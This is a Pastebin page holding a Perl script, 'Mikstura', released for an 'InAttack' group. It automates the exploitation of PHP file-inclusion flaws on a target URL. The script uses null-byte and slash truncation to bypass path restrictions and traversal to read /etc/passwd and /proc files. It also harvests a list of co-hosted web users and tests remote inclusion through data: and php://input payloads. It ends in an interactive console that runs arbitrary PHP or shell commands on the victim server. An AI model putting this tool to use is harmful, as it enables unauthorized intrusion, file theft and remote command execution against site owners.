Guest User

Mikstura ( for InAttack Release ) by Dr.TRO

a guest
May 18th, 2010
524
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 15.41 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #####
  4. #
  5. # For InAttack Release
  6. #
  7. #####
  8.  
  9. use strict;
  10. use warnings;
  11. use LWP::UserAgent;
  12. use Getopt::Std;
  13. use MIME::Base64;
  14.  
  15. my $ua = LWP::UserAgent->new;
  16.  
  17. my %options = ();
  18. getopts("u:p:sa:",\%options);
  19.  
  20. sub usage {
  21.     print <<USAGE
  22. Options :
  23.     -u 'url' to test url
  24.     -p 'ip:port' to use http proxy
  25.     -a 'User-Agent' to set mikstura's User-Agent header
  26.     -s flag which that using proxy is Socks4/5
  27. USAGE
  28. }
  29.  
  30. if(!$options{u}){
  31.     usage();
  32.     exit;
  33. } else {
  34.    
  35.     if($options{p}) {
  36.         $ua->proxy([qw(http https)] => $options{s} ? 'socks://' . $options{p} : 'http://' . $options{p});
  37.         print "\n[+] Using proxy: " . ($options{s} ? 'socks://' . $options{p} : 'http://' . $options{p}) . "\n";
  38.     } else {
  39.         print "\n[-] No proxy using\n";
  40.     }
  41.    
  42.     if($options{a}) {
  43.         $ua->agent($options{a});
  44.         print '[+] Using User-Agent: ' . $options{a} . "\n";
  45.     } else {
  46.         $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)');
  47.     }
  48.  
  49.    
  50.     if($options{u} =~ m/((?:http|https):\/\/([^\/\:]+)(?:\:\d+)?\/(.+\.[^\?]+)\?)(?:([^#]+)(?:#.+)?)/) {
  51.         print "[+] Starting\n";
  52.     } else {
  53.         print "[-] Bad URL (correct: (http|https)://domain/path/script.php?param_name=param_value)\n";
  54.     }
  55.        
  56.     my $OS = '';
  57.     my $WEBSERVER_DISTR;
  58.     my $ERROR_REPORTING;
  59.     my $PRE_INCLUDE_PATH;
  60.     my $AFTER_INCLUDE_PATH = '';
  61.     my $AFTER_INCLUDE_PATH_BYPASSED;
  62.     my $ALLOW_URL_INCLUDE = 1;
  63.     my $NULLBYTE = '';
  64.     my $ROOT_DIR = '/';
  65.     my $LFR;
  66.    
  67.     my $URL = $1;
  68.     my $HOST = $2;
  69.     my $REQUEST_FILE = $3;
  70.     my $GET = $4;
  71.     my %GET_REQUEST;
  72.  
  73.     if(!$GET) {
  74.         die "[x] No GET request\n";
  75.     }
  76.    
  77.     while ($GET =~ m/(?:&)?([^=]+)=([^&]+)/g) {
  78.         $GET_REQUEST{$1} = $2;
  79.     }
  80.  
  81.     if(!%GET_REQUEST) {
  82.         die "[x] Can't parse GET request\n";
  83.     }
  84.  
  85.     my %TESTING_GET_REQUEST = %GET_REQUEST;
  86.     if(length((my $TEST_RESPONSE_1 = $ua->get($URL . $GET))->content) == length($ua->get($URL . $GET)->content)){
  87.        
  88.         print "[+] Page is static...\n";
  89.        
  90.         if($TEST_RESPONSE_1->header('Server')){
  91.             print '[+] Header "Server": ' . $TEST_RESPONSE_1->header('Server') . "\n";
  92.         } else {
  93.             print "[+] Header \"Server\" not detected \n";
  94.         }
  95.         if($TEST_RESPONSE_1->header('X-Powered-By')){
  96.             print '[+] Header "X-Powered-By": ' . $TEST_RESPONSE_1->header('X-Powered-By') . "\n";
  97.         } else {
  98.             print "[+] Header \"X-Powered-By\" not detected \n";
  99.         }
  100.  
  101.     } else {
  102.         print "[x] Page isn't static...\n";
  103.         exit;
  104.     }
  105.    
  106.     while (my ($TESTING_NAME, $TESTING_VALUE) = each %TESTING_GET_REQUEST)
  107.     {
  108.        
  109.         print "\n";
  110.        
  111.         my $ENDING = '';
  112.         while (my ($NAME, $VALUE) = each %GET_REQUEST)
  113.         {
  114.             if ($TESTING_NAME ne $NAME){
  115.                 $ENDING .= '&' . $NAME . '=' . $VALUE;
  116.             }
  117.         }
  118.        
  119.         if(length(my $TEST_RESPONSE_1 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $ENDING)->content) != length(my $TEST_RESPONSE_2 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . '%2f%2a%2a%2f' . $ENDING)->content)){
  120.            
  121.             print "[?] Parameter '$TESTING_NAME' might be vulnerable...\n";
  122.             if($TEST_RESPONSE_2 =~ /<b>([\/\w\d\.]+)$REQUEST_FILE<\/b>/){
  123.                 $OS = '*nix';
  124.                 print '[+] Path found: ' . $1 . "\n";
  125.                 my $PATH = $1;
  126.                 print "[+] OS discover: *nix\n";
  127.                 if($PATH) {
  128.                     while($PATH =~ /[^\/]+\//g) {
  129.                         $ROOT_DIR .= '../';
  130.                     }
  131.                 }
  132.                 if($ROOT_DIR ne '/') {
  133.                     print '[+] Root: ' . $ROOT_DIR . "\n";
  134.                 }
  135.             }else {
  136.                 my $WIN_REQUEST_FILE = $REQUEST_FILE;
  137.                 $WIN_REQUEST_FILE =~ s/\//\\\\/g;
  138.                 if($TEST_RESPONSE_2 =~ /<b>([\w\d\:\\\.]+)$WIN_REQUEST_FILE<\/b>/){
  139.                     $OS = 'Win';
  140.                     print '[+] Path found: ' . $1 . "\n";
  141.                     print "[+] OS discover: Win\n";
  142.                 } else {
  143.                     print "[-] Path not found...\n";
  144.                 }
  145.             }
  146.        
  147.             my $QUOTED_TESTING_VALUE = quotemeta($TESTING_VALUE);
  148.             if($TEST_RESPONSE_2 =~ /(?:include|include_once|require|require_once)\((.+)?$QUOTED_TESTING_VALUE\/\*\*\/(.+)?\)/){
  149.                 print "[+] Error reporting - on\n";
  150.                 $ERROR_REPORTING = 1;
  151.                 if($1) {
  152.                     $PRE_INCLUDE_PATH = $1;
  153.                     print '[-] Founded pre-path: ' . $1 . "\n";
  154.                 }
  155.                 if($2) {
  156.                     $AFTER_INCLUDE_PATH = $2;
  157.                     print '[-] Founded after-path: ' . $2 . "\n";
  158.                 } else {
  159.                     $AFTER_INCLUDE_PATH_BYPASSED = 1;
  160.                     if(!$1) {
  161.                         print "[+] It's clear include\n";
  162.                     } else {
  163.                         print "[+] After-path not found\n";
  164.                     }
  165.                 }
  166.             }
  167.                        
  168.             if($AFTER_INCLUDE_PATH) {
  169.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $AFTER_INCLUDE_PATH . '%00' . $ENDING)->content;
  170.                 $TEST_RESPONSE_3 =~ s/$AFTER_INCLUDE_PATH\x00//g;
  171.                 if(length($TEST_RESPONSE_3) == length($TEST_RESPONSE_1)) {
  172.                     $AFTER_INCLUDE_PATH_BYPASSED = 1;
  173.                     print "[+] Ussing default null-byte\n";
  174.                     $NULLBYTE = '%00';
  175.                 } else {
  176.                     for (0..(4095 - length($TESTING_VALUE))) { $NULLBYTE .= '/'; }
  177.                     if($OS ne "Win") {
  178.                         $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $AFTER_INCLUDE_PATH . $NULLBYTE . $ENDING)->content;
  179.                         if(length($TEST_RESPONSE_3) == length($TEST_RESPONSE_1)) {
  180.                             $AFTER_INCLUDE_PATH_BYPASSED = 1;
  181.                             print "[+] Ussing slash alternative null-byte\n";
  182.                         } else {
  183.                             print "[-] Cannot bypass after-path\n";
  184.                         }
  185.                     } else {
  186.                         print "[-] Cannot bypass after-path\n";
  187.                     }
  188.                 }
  189.             }
  190.            
  191.             if(!$AFTER_INCLUDE_PATH_BYPASSED) {
  192.                 $NULLBYTE = '%00';
  193.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=/../../../../../../../../../../../../../../../etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE  . $ENDING)->content;
  194.                 if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
  195.                     $AFTER_INCLUDE_PATH_BYPASSED = 1;
  196.                     print "[+] Bypassed after-path with null-byte\n";
  197.                 } else {
  198.                     $NULLBYTE = '';
  199.                     for (0..(4095 - length($TESTING_VALUE))) { $NULLBYTE .= '/'; }
  200.                     my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=/../../../../../../../../../../../../../../../etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE  . $ENDING)->content;
  201.                     if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
  202.                         $AFTER_INCLUDE_PATH_BYPASSED = 1;
  203.                         print "[+] Bypassed after-path with slashes\n";
  204.                     } else {
  205.                         print "[-] Cann't bypass after-path\n";
  206.                     }
  207.                 }
  208.             }
  209.            
  210.             if((!$OS | $OS eq '*nix') && $ROOT_DIR eq '/') {
  211.                 my $DONE = 0;
  212.                 while(length($ROOT_DIR) < 47 and $DONE == 0) {
  213.                     my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE  . $ENDING)->content;
  214.                     if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
  215.                         $DONE = 1;
  216.                         $AFTER_INCLUDE_PATH_BYPASSED = 1;
  217.                         print '[+] Root: ' . $ROOT_DIR . "\n";
  218.                     }
  219.                     if($TEST_RESPONSE_3 =~ /[^\:\s]+\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:[^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?\:\S+\s/) {
  220.                         open(FH, '>' . $HOST . '_web-hosts.txt');
  221.                         while($TEST_RESPONSE_3 =~ /([^\:\s]+)\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:([^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?)\:\S+\s/g) {
  222.                             print FH "$1 - $2\n";
  223.                         }
  224.                         close(FH);
  225.                         print "[+] Getted list of other web-hostings\n";
  226.                     }
  227.                     $ROOT_DIR .= '../';
  228.                 }
  229.                    
  230.                 if($DONE == 0) {
  231.                     while(length($ROOT_DIR) < 47 and $DONE == 0) {
  232.                         my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE  . $ENDING)->content;
  233.                         if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
  234.                             $DONE = 1;
  235.                             $AFTER_INCLUDE_PATH_BYPASSED = 1;
  236.                             print '[+] Root: ' . $ROOT_DIR . "\n";
  237.                         }
  238.                         open(FH, '>' . $HOST . '_web-hosts.txt');
  239.                         if($TEST_RESPONSE_3 =~ /[^\:\s]+\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:[^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?\:\S+\s/) {
  240.                             open(FH, '>' . $HOST . '_web-hosts.txt');
  241.                             while($TEST_RESPONSE_3 =~ /([^\:\s]+)\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:([^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?)\:\S+\s/g) {
  242.                                 print FH "$1 - $2\n";
  243.                             }
  244.                             close(FH);
  245.                             print "[+] Getted list of other web-hostings\n";
  246.                         }
  247.                         $ROOT_DIR .= '../';
  248.                     }
  249.                     if($DONE == 0) {
  250.                         print "[-] Root path not found\n";
  251.                     } else {
  252.                         print "[-] It's seem site has WAF\n";
  253.                     }
  254.                 }
  255.             }
  256.            
  257.             if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED) {
  258.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=http://google.com/' . $NULLBYTE . $ENDING)->content;
  259.                 if($TEST_RESPONSE_3 !~ /(?:include|include_once|require|require_once)\(http:\/\/google.com\/\)/ && $TEST_RESPONSE_3 =~ /<title>Google<\/title>/){
  260.                     $ALLOW_URL_INCLUDE = 1;
  261.                     print "[+] Remote File Include - avaible\n";
  262.                     print "[+] allow_url_include = 1\n";
  263.                 } else {
  264.                     print "[-] Remote File Include - disalowed\n";
  265.                     if ($TEST_RESPONSE_3 =~ /allow_url_include=0/ || $TEST_RESPONSE_3 =~ /URL file-access is disabled/) {
  266.                         $ALLOW_URL_INCLUDE = 0;
  267.                         print "[-] allow_url_include = 0\n";
  268.                     } else {
  269.                         print "[?] allow_url_include - unknow value\n";
  270.                     }
  271.  
  272.                 }
  273.             }
  274.                        
  275.             if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED) {
  276.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'proc/version' .  $NULLBYTE . $ENDING)->content;
  277.                 if($TEST_RESPONSE_3 =~ /(Linux version.+\(gcc.+\(([\w\s]+) [\d\.\-\w]+.+\)(?:.+)?\).+\w{3} \d{4})/){
  278.                     print "[+] cat /proc/version :\n";
  279.                     print $1 . "\n";
  280.                     print '[+] Distr: ' . $2 . "\n";
  281.                 } else {
  282.                     print "[-] cat /proc/version\n";
  283.                 }
  284.             }
  285.            
  286.             if($AFTER_INCLUDE_PATH_BYPASSED) {
  287.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'proc/self/environ' .  $NULLBYTE . $ENDING)->content;
  288.                 if ($TEST_RESPONSE_3 =~ /include\((?:$ROOT_DIR)proc\/self\/environ\).+Permission denied/){
  289.                     print "[-] Haven't enougth permissions to /proc/self/environ\n";
  290.                 } elsif ($TEST_RESPONSE_3 =~ /HTTP_USER_AGENT=[^\x00]+\x00/){
  291.                     print "[+] /proc/self/environ\n";
  292.                 } else {
  293.                     print "[-] /proc/self/environ\n";
  294.                 }
  295.             }
  296.            
  297.             if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED && $ALLOW_URL_INCLUDE) {
  298.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=data%3A%3Bbase64%2C%20PD9waHAgZWNobyAxMDA1MDA7ID8%2b' . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING)->content;
  299.                 if($TEST_RESPONSE_3 =~ /\<\?php echo 100500\; \?\>/) {
  300.                     $LFR = 1;
  301.                     print "[-] It's LFR\n";
  302.                 } elsif ($TEST_RESPONSE_3 =~ /100500/) {
  303.                     $LFR = 0;
  304.                     $ALLOW_URL_INCLUDE = 1;
  305.                     print "[+] allow_url_include = 1\n";
  306.                     print "[+] It's include with data: scheme support\n";
  307.                     print "[?] Enter into interactive php-eval/shell console? [y/N]\n[:] ";
  308.                     chomp(my $ANSWER = <STDIN>);
  309.                     if($ANSWER eq 'y') {
  310.                         $TEST_RESPONSE_3 =~ /(.+)100500(.+)/s;
  311.                         my $PRE_ANSWER = quotemeta($1);
  312.                         my $AFTER_ANSWER = quotemeta($2);
  313.                         print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
  314.                         my $ANSWERED = 0;
  315.                         while(!$ANSWERED && chomp(my $ANSWER = <STDIN>)) {
  316.                             if($ANSWER ne 'p' && $ANSWER ne 's' && $ANSWER ne 'c') {
  317.                                 print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
  318.                             } else {
  319.                                 if ($ANSWER eq 'p') {
  320.                                     $ANSWERED = 1;
  321.                                     my $SH = 1;
  322.                                     print "[+] PHP interactive console\n";
  323.                                     while($SH) {
  324.                                         print '[:] ';
  325.                                         chomp(my $CMD = <STDIN>);
  326.                                         if($CMD ne 'quit') {
  327.                                             my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php ' . $CMD . ' ?>')->content;
  328.                                             if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
  329.                                                 print "$1\n";
  330.                                             } else {
  331.                                                 print 'No result returned for ' . $CMD . "\n";
  332.                                             }
  333.                                         } else {
  334.                                             $SH = 0;
  335.                                         }
  336.                                     }
  337.                                 } elsif ($ANSWER eq 's') {
  338.                                     $ANSWERED = 1;
  339.                                     $ANSWERED = 1;
  340.                                     my $SH = 1;
  341.                                     print "[+] Shell interactive console\n";
  342.                                     while($SH) {
  343.                                         print '[:] ';
  344.                                         chomp(my $CMD = <STDIN>);
  345.                                         if($CMD ne 'quit') {
  346.                                             my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php system(\'' . $CMD . '\'); ?>')->content;
  347.                                             if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
  348.                                                 print "$1\n";
  349.                                             } else {
  350.                                                 print 'No result returned for ' . $CMD . "\n";
  351.                                             }
  352.                                         } else {
  353.                                             $SH = 0;
  354.                                         }
  355.                                     }; 
  356.                                 } elsif ($ANSWER eq 'c') {
  357.                                     print "[-] Canceled\n";
  358.                                     $ANSWERED = 1;
  359.                                 }
  360.                             }
  361.                         }
  362.                        
  363.                     }
  364.                 }
  365.             }
  366.  
  367.             if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED && $ALLOW_URL_INCLUDE) {
  368.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php echo \'<version>\' . substr(phpversion(), 0, 1) . \'</version>\'; ?>')->content;
  369.                 if($TEST_RESPONSE_3 =~ /\<\?php\ echo\ (:\\)?\'\<version\>(:\\)?\'\ \.\ substr\(phpversion\(\)\,\ 0\,\ 1\)\ \.\ (:\\)?\'\<\/version\>(:\\)?\'\;\ \?\>/) {
  370.                     $LFR = 1;
  371.                     print "[-] It's LFR\n";
  372.                 } elsif ($TEST_RESPONSE_3 =~ /<version>(\d+)<\/version>/) {
  373.                     $LFR = 0;
  374.                     $ALLOW_URL_INCLUDE = 1;
  375.                     print "[+] It's include with php://input scheme support\n";
  376.                     print "[?] Enter into interactive php-eval/shell console? [y/N]\n[:] ";
  377.                     chomp(my $ANSWER = <STDIN>);
  378.                     if($ANSWER eq 'y') {
  379.                         $TEST_RESPONSE_3 =~ /(.+)<version>\d+<\/version>(.+)/s;
  380.                         my $PRE_ANSWER = quotemeta($1);
  381.                         my $AFTER_ANSWER = quotemeta($2);
  382.                         print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
  383.                         my $ANSWERED = 0;
  384.                         while(!$ANSWERED && chomp(my $ANSWER = <STDIN>)) {
  385.                             if($ANSWER ne 'p' && $ANSWER ne 's' && $ANSWER ne 'c') {
  386.                                 print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
  387.                             } else {
  388.                                 if ($ANSWER eq 'p') {
  389.                                     $ANSWERED = 1;
  390.                                     my $SH = 1;
  391.                                     print "[+] PHP interactive console\n";
  392.                                     while($SH) {
  393.                                         print '[:] ';
  394.                                         chomp(my $CMD = <STDIN>);
  395.                                         if($CMD ne 'quit') {
  396.                                             my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php ' . $CMD . ' ?>')->content;
  397.                                             if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
  398.                                                 print "$1\n";
  399.                                             } else {
  400.                                                 print 'No result returned for ' . $CMD . "\n";
  401.                                             }
  402.                                         } else {
  403.                                             $SH = 0;
  404.                                         }
  405.                                     }
  406.                                 } elsif ($ANSWER eq 's') {
  407.                                     $ANSWERED = 1;
  408.                                     $ANSWERED = 1;
  409.                                     my $SH = 1;
  410.                                     print "[+] Shell interactive console\n";
  411.                                     while($SH) {
  412.                                         print '[:] ';
  413.                                         chomp(my $CMD = <STDIN>);
  414.                                         if($CMD ne 'quit') {
  415.                                             my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php system(\'' . $CMD . '\'); ?>')->content;
  416.                                             if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
  417.                                                 print "$1\n";
  418.                                             } else {
  419.                                                 print 'No result returned for ' . $CMD . "\n";
  420.                                             }
  421.                                         } else {
  422.                                             $SH = 0;
  423.                                         }
  424.                                     }; 
  425.                                 } elsif ($ANSWER eq 'c') {
  426.                                     print "[-] Canceled\n";
  427.                                     $ANSWERED = 1;
  428.                                 }
  429.                             }
  430.                         }
  431.                        
  432.                     }
  433.                     if($1 >= 5) {
  434.                         print "[+] It's include with php://filter scheme support\n";
  435.                     }
  436.                 }
  437.             }
  438.            
  439.         } else {
  440.             print "[-] Parametr '$TESTING_NAME' isn't vulnerable...\n";
  441.         }
  442.     }
  443.     print "\n"
  444. }
Advertisement
Add Comment
Please, Sign In to add comment